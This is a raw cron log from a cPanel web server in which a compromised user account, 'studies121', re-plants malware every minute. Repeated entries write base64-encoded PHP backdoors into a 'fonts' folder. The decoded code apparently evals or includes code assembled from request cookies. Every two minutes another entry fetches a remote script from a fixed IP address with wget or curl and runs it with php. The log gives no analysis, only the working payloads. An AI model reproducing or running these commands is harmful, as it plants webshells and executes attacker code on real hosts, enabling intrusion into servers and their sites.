Sep  8 07:50:01 ip-184-168-122-23 CROND[7156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:50:01 ip-184-168-122-23 CROND[7160]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:50:01 ip-184-168-122-23 CROND[7163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:50:01 ip-184-168-122-23 CROND[7162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:50:01 ip-184-168-122-23 CROND[7159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:50:01 ip-184-168-122-23 CROND[7157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:51:02 ip-184-168-122-23 CROND[7270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:51:02 ip-184-168-122-23 CROND[7272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:51:02 ip-184-168-122-23 CROND[7273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:51:02 ip-184-168-122-23 CROND[7271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:52:01 ip-184-168-122-23 CROND[7352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:52:01 ip-184-168-122-23 CROND[7354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:52:01 ip-184-168-122-23 CROND[7353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:52:01 ip-184-168-122-23 CROND[7356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:52:01 ip-184-168-122-23 CROND[7355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:53:01 ip-184-168-122-23 CROND[7470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:53:02 ip-184-168-122-23 CROND[7473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:53:02 ip-184-168-122-23 CROND[7475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:53:02 ip-184-168-122-23 CROND[7477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:54:01 ip-184-168-122-23 CROND[7770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:54:01 ip-184-168-122-23 CROND[7771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:54:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:54:01 ip-184-168-122-23 CROND[7774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:54:01 ip-184-168-122-23 CROND[7777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:55:01 ip-184-168-122-23 CROND[8227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:55:01 ip-184-168-122-23 CROND[8229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:55:01 ip-184-168-122-23 CROND[8231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:55:01 ip-184-168-122-23 CROND[8233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:55:01 ip-184-168-122-23 CROND[8230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:55:01 ip-184-168-122-23 CROND[8232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:56:01 ip-184-168-122-23 CROND[8556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:56:01 ip-184-168-122-23 CROND[8558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:56:01 ip-184-168-122-23 CROND[8557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:56:01 ip-184-168-122-23 CROND[8560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:56:01 ip-184-168-122-23 CROND[8561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:57:01 ip-184-168-122-23 CROND[8692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:57:01 ip-184-168-122-23 CROND[8694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:57:01 ip-184-168-122-23 CROND[8697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:57:01 ip-184-168-122-23 CROND[8698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:58:01 ip-184-168-122-23 CROND[9003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:58:01 ip-184-168-122-23 CROND[9005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:58:01 ip-184-168-122-23 CROND[9006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:58:01 ip-184-168-122-23 CROND[9008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:58:01 ip-184-168-122-23 CROND[9007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:59:01 ip-184-168-122-23 CROND[9179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:59:01 ip-184-168-122-23 CROND[9176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:59:01 ip-184-168-122-23 CROND[9178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:59:01 ip-184-168-122-23 CROND[9177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:00:01 ip-184-168-122-23 CROND[9510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:00:01 ip-184-168-122-23 CROND[9512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9517]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9514]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:00:01 ip-184-168-122-23 CROND[9520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:01:01 ip-184-168-122-23 CROND[10056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:01:01 ip-184-168-122-23 CROND[10057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:01:01 ip-184-168-122-23 CROND[10060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:01:01 ip-184-168-122-23 CROND[10062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:01:01 ip-184-168-122-23 CROND[10063]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 08:01:01 ip-184-168-122-23 CROND[10064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10063]: starting 0anacron
Sep  8 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10078]: finished 0anacron
